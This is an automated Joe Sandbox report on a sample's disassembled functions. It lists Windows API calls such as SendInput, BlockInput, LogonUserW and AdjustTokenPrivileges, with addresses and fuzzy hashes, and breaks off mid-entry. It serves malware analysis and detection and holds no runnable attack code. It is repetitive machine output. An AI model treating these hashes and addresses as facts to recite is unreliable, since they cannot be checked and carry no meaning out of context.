Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 06ad269ea5c09015a9440a1ae283b86554263d6546f7a822a82820bc4181238e
Instruction ID: 07d96ff9a2b2936809785f18b47b7ba93b3bf203a4d32e8ef736257a1fbced19
Opcode Fuzzy Hash: 06ad269ea5c09015a9440a1ae283b86554263d6546f7a822a82820bc4181238e
Instruction Fuzzy Hash: 0FF0FF7690030ABBDB04DBE8DD8AEEDBBB9EB08201F104469A602E2291E27056459B20

Function 00D5DD92 Relevance: 4.5, APIs: 3, Instructions: 26fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00D4C848,00D4C848), ref: 00D5DDA2
FindFirstFileW.KERNEL32(00D4C848,?), ref: 00DB4A83

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: File$AttributesFindFirst
String ID:
API String ID: 4185537391-0
Opcode ID: d8f1037e47c2afa8a4a4cdc56e08bb0cad3513a443c459dbfcfb4512cc4bc28a
Instruction ID: 101c878d1a875d7aa6a11e70776e5cde9ceea085dd97357fe10452379d94f94a
Opcode Fuzzy Hash: d8f1037e47c2afa8a4a4cdc56e08bb0cad3513a443c459dbfcfb4512cc4bc28a
Instruction Fuzzy Hash: EEE0D8314157039B96246738DC0DCE9376D9B0533DB180715FC76C11E0E7709D4489FA

Function 00D46670 Relevance: 4.1, APIs: 2, Instructions: 1093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D467D0

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 394856d6c2ae8cc576fc7e0fb0418e6327c358d1a3a7adabfaf7610038241a13
Instruction ID: 06ec81697ef299308b440636e18e71477f30c09c8d74c4becb6b2f274fbd9330
Opcode Fuzzy Hash: 394856d6c2ae8cc576fc7e0fb0418e6327c358d1a3a7adabfaf7610038241a13
Instruction Fuzzy Hash: E9A21975E0121ACFCB24CF58C480AADBBB1FF49314F29815AE85AAB390D774DD81DB61

Function 00D8FD47 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00D8FD71
FindClose.KERNEL32(00000000), ref: 00D8FDA1

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 2b71fdf6fe824438c3735630855d124a1adbe3f08e8dd085cb679f682c3ed6d9
Instruction ID: ff5231e72240df877c46876c977571b04f214df28149ffd65f364f4e4c68d2de
Opcode Fuzzy Hash: 2b71fdf6fe824438c3735630855d124a1adbe3f08e8dd085cb679f682c3ed6d9
Instruction Fuzzy Hash: 9B11A1326142019FD700EF28C845A2EB7E9FF84324F04851EF9A9DB391DB30EC058BA1

Function 00D8D712 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00D9C2E2,?,?,00000000,?), ref: 00D8D73F
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00D9C2E2,?,?,00000000,?), ref: 00D8D751

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 71e780db38ed2e31efa2d39ddbf63fd141e1e4b3d323ff8c877371b9cf18ba79
Instruction ID: 459658a551e45cdc576f0714ad015b97dbee1f0459a9e58bee59efd8b5774e15
Opcode Fuzzy Hash: 71e780db38ed2e31efa2d39ddbf63fd141e1e4b3d323ff8c877371b9cf18ba79
Instruction Fuzzy Hash: BBF0823510032EABDB11AFA4CC49FEA776EEF49361F008125B909D61C1D630D940CBB0

Function 00D84B52 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00D84B89
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00D84B9C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 03ac6feb7110dec53e12c9d511694c174714196d6ceb53000e0e040b56058efe
Instruction ID: ed2a68580e718c2180683ec1cde094b9a807a518a518febe36014fdff7340bb6
Opcode Fuzzy Hash: 03ac6feb7110dec53e12c9d511694c174714196d6ceb53000e0e040b56058efe
Instruction Fuzzy Hash: F7F0677080038EAFEB059FA4C805BBE7BB4AF04305F04841AF961A6291D379D6129FA0

Function 00D7B8B0 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00D7B9EC), ref: 00D7B8C5
CloseHandle.KERNEL32(?,?,00D7B9EC), ref: 00D7B8D7

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: d386d038880e47542160c5a6b41765e34c44d827d12583e5b47bbd7e46559abc
Instruction ID: 149bf5949386af05e4af3acaf24b82ae89e6c1a1e21f6205d119fc78e2b7b283
Opcode Fuzzy Hash: d386d038880e47542160c5a6b41765e34c44d827d12583e5b47bbd7e46559abc
Instruction Fuzzy Hash: 88E0BF71004712AFE7262B54EC05DB77BEAEF053117148569F455C1470D7619C90DB30

Function 00D68E3C Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,00D4125D,00D67A43,00D40F35,?,?,00000001), ref: 00D68E41
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00D68E4A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 62dc57c2a1d1f9b8e67eb89acf6a32a97d7a17f6d07ed92d44f3a9b17f9dc5c8
Instruction ID: 140e81ac03e2024f5f79a45c54b299fba8e467fa32733cb793b816ba9fb186eb
Opcode Fuzzy Hash: 62dc57c2a1d1f9b8e67eb89acf6a32a97d7a17f6d07ed92d44f3a9b17f9dc5c8
Instruction Fuzzy Hash: A7B09271044B4AABEA002BA1ED09F887F6AEB48A62F024020FA1D842608B6354508EA2

Function 00D53680 Relevance: 2.5, APIs: 1, Instructions: 986COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: 206217076f3e98c1e34fdc1fd552066971160a1ea9c3445517762541a722598d
Instruction ID: e1e350e04762e6cc4d395757ecbe0c9aec9b4daa826dc964726e9d75fa6724b9
Opcode Fuzzy Hash: 206217076f3e98c1e34fdc1fd552066971160a1ea9c3445517762541a722598d
Instruction Fuzzy Hash: D2925870608341CFDB24DF18C484B6AB7E1FF89345F18885DED8A8B292D775E949CB62

Function 00D6DF69 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c31274f007d77be7306e79f4ea79ea8d56968438353e12316f2bcd61ddf01a61
Instruction ID: cd88625d18c7e562fa5fef2153b0611dc702076235f17ccc515ac0087491480d
Opcode Fuzzy Hash: c31274f007d77be7306e79f4ea79ea8d56968438353e12316f2bcd61ddf01a61
Instruction Fuzzy Hash: 2C321535D29F414ED7239634C822336A789EFB73C4F15D737E81AB5AA6EB29C4835120

Function 00D7113E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58399b9764c397c7780095e770183379f76ae4cf43470a0fe2bd342ebbd09702
Instruction ID: 05d61797acaef18600a286781d8e8e40d4c2cd8ad66bdb1614a9858a48a464a0
Opcode Fuzzy Hash: 58399b9764c397c7780095e770183379f76ae4cf43470a0fe2bd342ebbd09702
Instruction Fuzzy Hash: 48B10520D2AF514DD72396399831336B75CAFBB2C6F91D71BFC1AB4E26EB2185834180

Function 00D8BFB8 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 00D8BFCB

Part of subcall function 00D640DA: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00D8C6AF,00000000,?,?,?,?,00D8C85C,00000000,?), ref: 00D640E3
Part of subcall function 00D640DA: __aulldiv.LIBCMT ref: 00D64103

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: 353a25f76995d425ff6fbedba226779500a72814bbe995ea12ca318c289efc75
Instruction ID: 88a3f3c28e034d0a088ab517692109eb6cfcc80539966626ac32542828ec0a4e
Opcode Fuzzy Hash: 353a25f76995d425ff6fbedba226779500a72814bbe995ea12ca318c289efc75
Instruction Fuzzy Hash: A7218172634510CFC729CF39C881A52B7E5EB95321B284E6DE0E5CF2C0CA75B949CB64

Function 00D9703C Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00D97057

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: ef11606f15dd3c5880fbac0ac2e97af120d1e84096366291b6265b14fbca5a7c
Instruction ID: 91b3899a1cc16eaceb960ad085ebd38d9e9cb3e4891cebb8296fc125177264f0
Opcode Fuzzy Hash: ef11606f15dd3c5880fbac0ac2e97af120d1e84096366291b6265b14fbca5a7c
Instruction Fuzzy Hash: 72E048356142055FCB10DFA9D804D96F7EDDF94750F048426FE49D7351EAB0E8049BB0

Function 00D87DD5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00D87DF8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 5afa2b17dae2494d4f70671ae9f8c38a198d7d7f478a353dd68c3560c0b9b8e3
Instruction ID: 48199ecfbcdfd0bee34996c8d4fafaddad281cb18e8e88fdca5197bfd68387cd
Opcode Fuzzy Hash: 5afa2b17dae2494d4f70671ae9f8c38a198d7d7f478a353dd68c3560c0b9b8e3
Instruction Fuzzy Hash: 47D05EA217C206F9FD1827209C2FF3A2108EB01780FB94249B051C60C1EC94E8006638

Function 00D7BE95 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00D7BA6A), ref: 00D7BEB3

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 870ceb45b1777c637732646be26a29739f34fc1a52fa88ed34c2d9a5162745dd
Instruction ID: 3f109c93c9b53b0c5ee15917542ad7dfdc9688447e96c414d78b73afa66f7a5e
Opcode Fuzzy Hash: 870ceb45b1777c637732646be26a29739f34fc1a52fa88ed34c2d9a5162745dd
Instruction Fuzzy Hash: E1D09E321A464EAEDF025FA4DC06EAE3F6AEB04701F448511FA15D51A1C675D532AB60

Function 00DBC146 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00DBC158

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: ce95691c546d297efe933e28c1415d86b162d95e12c312661f83ed83f6142bcd
Instruction ID: 7bb55d411ae669d15c8b1750d8b3eb6c4c24f35dcf68f0b7895ef79b4db59036
Opcode Fuzzy Hash: ce95691c546d297efe933e28c1415d86b162d95e12c312661f83ed83f6142bcd
Instruction Fuzzy Hash: 9EC002B180410ADBC715CB84C9459EAB6BCAB04300F104096A156E1100D7B09A459B71

Function 00D68E19 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00D68E1F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dae4ff67a18b5e0abde2cbf80ff778c6fb846c85db5a258a955490a7e5fd8269
Instruction ID: 083ace20520c2eb751412dd27c09f5f6886fb11c342136abfb2ea61143a88f63
Opcode Fuzzy Hash: dae4ff67a18b5e0abde2cbf80ff778c6fb846c85db5a258a955490a7e5fd8269
Instruction Fuzzy Hash: F7A0123000060DA78A001B51EC048447F5DD6441507014020F40C40121873354104991

Function 00D6A937 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00D66AE9,00DF67D8,00000014), ref: 00D6A937

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 0bf6fe9d164d683248102ace3b2a2c103247773c5a7d2c82691f7599671eaf2f
Instruction ID: 4d2ee87f4f8522cf4ed224f8d64bf1f5eb9496d483508b2583e1dd441521e91f
Opcode Fuzzy Hash: 0bf6fe9d164d683248102ace3b2a2c103247773c5a7d2c82691f7599671eaf2f
Instruction Fuzzy Hash: 62B012B03033034FD7084B3DAC5461A39D597C9101345403D7003C2660DB308450DF00

Function 00D60EC4 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction ID: 967a305108b6a40c32d0cb30670f490eeb5f99ad2db8f52a02bd15fa20461f78
Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction Fuzzy Hash: 8BC180762052A34BDF2D867AC43553FBEA15EA27B131E076DE8B2CB4C4EE24C564D630

Function 00D612F9 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction ID: 312ad417e7a7f58400f284a96eaf744f66b2dc4e4722f2d438b6918867c65232
Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction Fuzzy Hash: 21C18D7A2051A34BDF2D867AC43443FBEA15AA27B131E076DD8B3CB5D4EE24D528D630

Function 00D60A8F Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: c9d70cd61639dbe86a6eaa8f9993d850a2fa88211d8b7a803949afe3195e971a
